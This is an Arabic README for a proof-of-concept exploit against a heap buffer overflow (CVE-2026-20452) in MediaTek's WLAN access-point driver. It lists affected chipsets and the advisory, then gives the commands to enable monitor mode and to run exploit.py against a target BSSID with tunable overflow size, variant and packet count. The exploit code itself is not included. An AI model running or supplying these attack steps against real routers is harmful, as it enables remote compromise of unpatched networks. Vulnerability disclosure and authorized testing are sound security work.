CVE-2026-20452 — إثبات المفهوم لتجاوز سعة المخزن المؤقت في كومة MediaTek WLAN AP

إثبات مفهوم لثغرة CVE-2026-20452، وهي تجاوز سعة المخزن المؤقت في الكومة في برنامج تشغيل نقطة الوصول اللاسلكية (WLAN AP) من MediaTek.

الثغرة الأمنية

• CVE: CVE-2026-20452
• CVSS: 8.0 عالي
• CWE: CWE-122 — تجاوز سعة المخزن المؤقت في الكومة
• المكون الفرعي: wlan (برنامج تشغيل نقطة الوصول)
• ناقل الهجوم: الشبكة المجاورة (Wi-Fi) — عميل مرتبط
• المتأثر: MT7615, MT7915, MT7916, MT7981, MT7986, MT7990, MT7992, MT7993, MT6890
• معرف التصحيح: WCNCR00480138
• النشرة الأمنية: https://corp.mediatek.com/product-security-bulletin/June-2026

المقال الكامل

https://www.hunt-benito.com/blog/mediatek-wlan-heap-overflow-cve-2026-20452-filogic-router-rce/

المتطلبات

• Python 3.7+
• scapy (pip install scapy)
• لينكس مع محول Wi-Fi يدعم وضع المراقبة/الحقن

الاستخدام

إعداد وضع المراقبة

sudo airmon-ng check kill
sudo airmon-ng start wlan0
# تصبح الواجهة wlan0mon

تشغيل الأداة

sudo python exploit.py --interface wlan0mon --bssid AA:BB:CC:DD:EE:FF --attacker 11:22:33:44:55:66

مع معلمات مخصصة

sudo python exploit.py --interface wlan0mon --bssid AA:BB:CC:DD:EE:FF --attacker 11:22:33:44:55:66 \
  --overflow-size 1024 --variant 2 --count 50 --delay 0.05

متغيرات IE

إخلاء المسؤولية

هذه الأداة مقدمة لأغراض البحث الأمني المصرح به والتعليم فقط. قد يتطلب الإرسال على ترددات Wi-Fi تصريحًا قانونيًا في منطقتك. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها غير قانوني. لا يتحمل المؤلفون أي مسؤولية ولا يتحملون أي عواقب نتيجة سوء الاستخدام أو الضرر الناتج عن هذه الأداة.